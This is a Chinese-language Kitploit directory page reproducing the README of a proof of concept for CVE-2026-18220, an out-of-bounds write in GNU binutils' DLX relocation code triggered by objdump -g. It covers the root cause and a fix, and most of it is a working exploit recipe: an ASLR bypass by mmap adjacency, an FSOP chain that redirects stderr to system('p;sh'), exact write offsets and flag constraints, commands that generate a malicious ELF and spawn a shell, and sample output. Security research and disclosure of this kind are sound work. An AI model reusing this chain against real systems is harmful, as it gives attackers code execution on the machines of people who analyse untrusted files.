Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
objdump-Out-Of-Bounds-write — 概念验证(PoC),演示了 CVE-2026-18220,即 GNU binutils 的 DLX ELF 后端中的一个越界(OOB)写入漏洞(具体通过 `objdump -g` 触发)。 | Kitploit
工具/GitHubGitHub/4d4j/objdump-out-of-bounds-write
漏洞分析漏洞利用二进制分析论文与研究学习与教育二进制利用
GitHub4d4j/objdump-out-of-bounds-write

objdump-Out-Of-Bounds-write

概念验证(PoC),演示了 CVE-2026-18220,即 GNU binutils 的 DLX ELF 后端中的一个越界(OOB)写入漏洞(具体通过 `objdump -g` 触发)。

查看仓库
791922天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GNU Binutils objdump — 越界写入 → FSOP → 任意代码执行

目标: GNU Binutils(截至 HEAD 的所有版本)— objdump
环境: Debian 13 (Trixie)、glibc 2.41、x86_64
影响: 任意代码执行
攻击途径: 由 objdump -g 处理的恶意构造 ELF 文件
ASLR: 已绕过(确定性 mmap 偏移量)


致谢

衷心感谢 bikini 的公开提及,以及他在这项发现上秉持的公平态度。他是个很棒的人,我有幸与他交流过,他自己也做出了一些了不起的发现。快去瞧瞧他的成果吧!


漏洞

根本原因 — bfd/elf32-dlx.c

R_DLX_RELOC_26_PCREL 重定位处理函数(elf32_dlx_relocate26)会在 data + reloc_entry->address 处执行 4 字节读/写,而不会针对节大小校验该偏移量。由于该函数返回 bfd_reloc_ok,bfd/reloc.c 中的通用边界检查被完全绕过。

root@kitploit:~
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

偏移量 reloc_entry->address 直接从 ELF 文件中读取,可以任意指向节缓冲区之外。

mmap 邻近技巧

在 x86_64 上,ELF32 偏移量会被零扩展,因此写入仅限正偏移。当 .debug_info 节 ≥ 128 KB 时,malloc() 会被迫使用 mmap(),从而使缓冲区紧邻 libc 的数据段:

root@kitploit:~
┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

差值 stderr - data = 0x21A4D0 在 ASLR 的不同运行之间是 恒定 的,因为这两个区域都是在 libc 加载期间由同一次 mmap 分配的。


FSOP 利用链

执行路径

root@kitploit:~
objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

5 次越界写入(PCREL26)

伪造结构(位于节缓冲区中)

root@kitploit:~
data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

命令约束

该利用支持 2 到 4 个字符 的命令。重定位 0 写入 _flags[0:3],重定位 4 写入 _flags[3] 并清除填充,从而在自然空终止符之前为 system() 提供最多 4 个字符。

只有前两个字节受 glibc FILE 标志位布局的约束:

cmd[2] 和 cmd[3] 不受约束。


复现

前置条件

root@kitploit:~
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

生成载荷 + 运行利用

root@kitploit:~
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

该利用程序在 ASLR 字节 3 不匹配时会自动重试最多 5 次(每次尝试约 12% 的失败率),成功率可达 约 99.998%。

预期输出

root@kitploit:~
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

建议修复

在 elf32_dlx_relocate26() 访问节数据之前添加边界检查:

root@kitploit:~
if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

文件

文件描述
poc_generate.py生成包含 5 个越界重定位的恶意 DLX ELF 载荷(exploit.bin)
poc_ptrace.py独立利用程序——基于 ptrace 的 ASLR 绕过、重试循环,无需 GDB

披露

此漏洞已报告给 GNU Binutils 维护人员。 利用代码仅供授权安全研究使用。

补丁

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

下载工具
#目标(相对 data 的偏移)效果
00x21A4CF = stderr − 1_flags[0:3] = cmd[0..2] → system() 参数的起始
10x21A4F8 = stderr + 0x28_IO_write_ptr ≠ 0 → 强制刷新 → 溢出
20x21A56F = stderr + 0x9F_wide_data[0:3] → 指向伪造的 _IO_wide_data
30x21A5A7 = stderr + 0xD7vtable[0:3] → _IO_wfile_jumps
40x21A4D2 = stderr + 2_flags[3] = cmd[3],填充被清除 → 空终止符
位标志约束原因
1_IO_UNBUFFEREDcmd[0] & 0x02 == 0否则 _IO_wdoallocbuf 会跳过 __doallocate
3_IO_NO_WRITEScmd[0] & 0x08 == 0否则溢出会立即返回 WEOF
13_IO_IS_FILEBUFcmd[1] & 0x20 != 0进入 doallocate 代码块所必需
命令字节效果
"ps"70 73列出进程
"p;sh"70 3B 73 68生成交互式 shell ← 最实用
"p;ls"70 3B 6C 73列出目录
"p;id"70 3B 69 64打印 uid/gid
exploit.bin
预生成的载荷(默认命令 "p;sh")